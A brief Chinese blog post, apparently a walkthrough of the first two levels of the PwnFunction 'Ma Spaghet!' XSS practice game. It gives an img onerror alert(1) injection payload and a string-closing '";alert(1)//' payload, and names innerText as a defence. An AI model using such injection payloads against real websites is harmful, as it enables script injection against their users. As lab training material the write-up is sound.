一、环境
XSS Game - Ma Spaghet! | PwnFunction
二、开始闯关
第一关
看看代码
试一下直接写
明显进来了为什么不执行看看官方文档吧
你不执行那我就更改单标签去使用呗
?somebody=<img%20src=1%20onerror="alert(1)">
防御：
innerText
第二关
看看源码：
考察一个基础的闭合
?jeff=1";alert(1)//
后续待更新
xss高级靶场
凌晨五点的星2024-03-02 9:13
相关推荐
进击切图仔21 分钟前
SAM3 微调标注流水线和 Label Studio自然 醒30 分钟前
前端如何实现在线预览office常见文件功能？肉肉不吃 肉1 小时前
前端调试跨域如何解决Liora_Yvonne1 小时前
为什么你写了3年前端还是搭不好一个项目snow@li1 小时前
Java：后端项目会有一个类似前端node_modules的目录吗 / jar包在本地仓库 ~/.m2/repository 中按版本共存weedsfly1 小时前
单例模式在前端中的正确打开方式PedroQue991 小时前
uni-router新推useUniEventChannel，彻底解决页面通信难题IT_陈寒1 小时前
Vite冷启动快？我遇到了个奇怪的依赖问题2603_955279701 小时前
通过 brew upgrade cmake 升级到最新版本FREEDOM_X1 小时前
Linux 进程间通讯（IPC）——总结